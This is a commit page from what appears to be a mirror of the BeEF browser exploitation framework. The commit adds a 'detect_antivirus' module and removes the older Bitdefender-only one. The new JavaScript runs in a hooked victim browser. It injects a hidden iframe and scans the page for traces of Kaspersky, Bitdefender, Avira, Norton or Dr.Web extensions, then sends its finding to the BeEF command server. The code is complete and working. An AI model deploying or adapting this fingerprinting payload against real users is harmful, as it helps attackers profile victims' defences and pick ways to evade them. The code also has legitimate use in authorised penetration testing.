Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

add detect_antivirus module, merging the old bitdefender module

Browse Source
This commit is contained in:
phosphore
2016-10-24 17:44:03 +02:00
parent f20528e13b
commit 9bc0fe73f1
4 changed files with 46 additions and 23 deletions
Download Patch File Download Diff File Expand all files Collapse all files

40
modules/host/detect_antivirus/command.js Normal file
View File

@@ -0,0 +1,40 @@
//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
//Detection of av elements starts
var image = "<body><img src='x'/></body>";
var iframe = document.createElement("iframe");
iframe.setAttribute("style", "margin-left:-10000000000px; margin-right: -10000000000px");
iframe.setAttribute("id", "frmin");
document.body.appendChild(iframe);
iframe.contentWindow.document.open();
iframe.contentWindow.document.write(image);
iframe.contentWindow.document.close();
var frm = document.getElementById("frmin");
ka = frm.contentDocument.getElementsByTagName("html")[0].outerHTML;
var AV = document.getElementById("abs-top-frame");
var NAV = document.getElementById("coFrameDiv");
//Detection of av elements ends
if (ka.indexOf("kasperskylab_antibanner") !== -1)
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Kaspersky');
else if (ka.indexOf("netdefender/hui/ndhui.js") !== -1)
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Bitdefender');
else if (AV !== null) {
if (AV.outerHTML.indexOf('/html/top.html') >= 0 & AV.outerHTML.indexOf('chrome-extension://') >= 0)
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Avira');
} else if (NAV !== null) {
var nort = NAV.outerHTML;
if (nort.indexOf('coToolbarFrame') >= 0 & nort.indexOf('/toolbar/placeholder.html') >= 0 & nort.indexOf('chrome-extension://') >= 0)
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Norton');
} else if (document.getElementsByClassName('drweb_btn').length > 0)
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=DrWeb');
else beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Not Detected');
});

8
modules/host/detect_bitdefender2012/config.yaml → modules/host/detect_antivirus/config.yaml
View File

@@ -5,11 +5,11 @@
#
beef:
module:
detect_bitdefender2012:
detect_antivirus:
enable: true
category: "Host"
name: "Detect Bit Defender 2012"
description: "This module detect the javascript code automatically included by Bitdefender 2012"
authors: ["nbblrr"]
name: "Detect Antivirus"
description: "This module detect the javascript code automatically included by some AVs (currently supports detection for Kaspersky, Avira, BitDefender, Norton, Dr. Web)"
authors: ["phosphore","vah13","nbblrr"]
target:
working: ["ALL"]

4
modules/host/detect_bitdefender2012/module.rb → modules/host/detect_antivirus/module.rb
View File

@@ -4,10 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
class Detect_bitdefender2012 < BeEF::Core::Command
class Detect_antivirus < BeEF::Core::Command
def post_execute
save({'BitDefender' => @datastore['bitdefender']})
save({'Antivirus' => @datastore['antivirus']})
end
end

17
modules/host/detect_bitdefender2012/command.js
View File

@@ -1,17 +0,0 @@
//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var temp=document.body.innerHTML;
var key="netdefender/hui/ndhui.js";
if(temp.indexOf(key)>0) {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'bitdefender=Installed');
} else {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'bitdefender=Not Installed');
};
});